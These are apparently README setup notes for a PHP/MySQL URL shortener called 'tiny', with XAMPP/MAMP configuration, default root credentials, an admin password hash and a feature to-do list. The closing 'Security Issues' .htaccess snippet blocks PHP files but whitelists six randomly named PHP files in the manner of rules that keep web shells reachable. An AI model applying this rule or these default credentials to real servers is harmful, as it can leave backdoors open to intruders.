-
Must install PHP version (FOR WINDOWS) & (FOR MAC) Both
-
Tutorial - https://www.youtube.com/watch?v=mVBe75aGBHQ
-
PHP version used -> ( 8.1.9 )
-
Must install xampp (FOR WINDOWS) and MAMP (FOR MAC)
-
Tutorial - https://www.youtube.com/watch?v=at19OmH2Bg4
-
MySQL version used -> ( 8.0.29 )
-------------------------------------------*---------
Live Site -> http://shrty.rf.gd/
Step -1 Download Zip file
Step -2 Unzip it & Rename folder from "tiny-main" to "tiny"
Step -3 Put tiny folder inside
/Applications/MAMP/htdocs/ folder (FOR MAC)
C:/xampp/htdocs/ folder (FOR WINDOWS)
Step -4 Set below snippet inside /Applications/MAMP/htdocs/tiny/env.php. file (FOR MAC & having MAMP)
<?php
$env_server = "localhost";
$env_username = "root";
$env_password = "root";
$env_database = "tiny";
$env_port = "8889";
?>
Step -4 Set below snippet inside htdocs/tiny/env.php. file (FOR WINDOWS & XAMPP)
<?php
$env_server = "localhost:3306";
$env_username = "root";
$env_password = "";
$env_database = "tiny";
$env_port = "3306";
?>
Step -5 Create ".htaccess" file inside htdocs/tiny/ and Paste below code snippet.(FOR MAC & having MAMP)
ErrorDocument 404 http://localhost:8888/tiny/404.php
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
RewriteRule ^(.*)$ $1.php [NC,L]
RewriteEngine On
RewriteCond $1 !^(index\.php)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?/$1 [L]
Step -5 Create ".htaccess" file inside htdocs/tiny/ and Paste below code snnipet.(FOR WINDOWS)
ErrorDocument 404 http://localhost/tiny/404.php
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
RewriteRule ^(.*)$ $1.php [NC,L]
RewriteEngine On
RewriteCond $1 !^(index\.php)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?/$1 [L]
Step -6 Change the file content inside tiny/htdocs/siteName.php
1) FOR MAC & MAMP
<?php
$siteName = "http://localhost:8888/tiny/";
?>
2) FOR Windows
<?php
$siteName = "http://localhost/tiny/";
?>
Step -7 Start Apache & MySQL Server in XAMPP Panel or MAMP Panel
Step -8 To Setup the database, open
localhost:8888/phpmyadmin (FOR MAC & MAMP)
localhost/phpmyadmin (FOR WINDOWS & XAMPP)
Step -9 Create New Database
Step -10 Database Name "tiny"
Step -11 Import Database from "htdocs/tiny/tiny.sql" directory .
tiny.sql (db file)
Step -12 Run in browser
localhost:8888/tiny/ (FOR MAC)
localhost/tiny/ (FOR WINDOWS)
! IMPORTANT -> users table must contain one row
1) uniqueNo = "shorty"
2) email = "[email protected]"
3) password = "62b5fe5724b08db455672377fb31e95b"
4) img = "../assets/user-img/1659983584admin-img.png"
-> Front Page shorted links goes into admin account
email -> [email protected]
password -> [email protected]
-> While Hosing
1) Change env.php credentials
2) Change siteName.php
3) Upload files & dB.
-> What Can we do new?
1) 404 Page and functionality
2) Forget Password Functionality
3) Sign in / Sign up with google
4) All things must done by session not using URL
5) All things must done with API's
6) Use of action attribute in Any type of forms
7) Footer have Year 2 times
8) If we edit profile then alert of pdf or non image is choosen as image
9) Make admin panel
10) Only admin can login to [email protected] user panel
11) Mobile view user panel header have Hii username
12) Dynamic Titles of pages
13) Want to update -> edit profile?
14) Mobile view , image , main page , margin top boht jyafa h
15) Remember me button check if cookie set
16) SMS Sender
17) Open only in one tab at once
18) Add chat bot
19) Add whatsapp icon to connect with admin on whatsapp
20) if hit shrty.rf.gd -> then by default shrty.rf.gd?i=1# appear on url
21) Account registeration with otp
22) Captcha (i m not robot)
23) Can not access inside folder
24) Use of local storage
25) dont cut (pop is there you have some unsaved want to leave ?)
26) custom short link from front page too
27) We get a performance increase by specifying the default route since we don't have to scan directories.
28) add infinity credentials in readme
29) change shrty admin cred from [email protected] to [email protected]
30) Placeholder have asterisk sign
31) Database simple one table or merge something for total clicks & visitor counter table
32) If session is not logged out then if click on Login Button then go to panel if his session logged out then go to login page otherwise go to user panel
33) What type of Data structure do we use in this project
34) Security Issues
35) can't access inside files using htaccess (add .htaccess files in folders like: localhost:8888/tiny/assets/images/.htacccess)
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(aqbynr.php|zdjpks.php|wp-ybwid.php|wp-stkhy.php|moni-fcpm.php|moni-smmk.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>
-> Hosted on Infinity Free with Gmail : [email protected]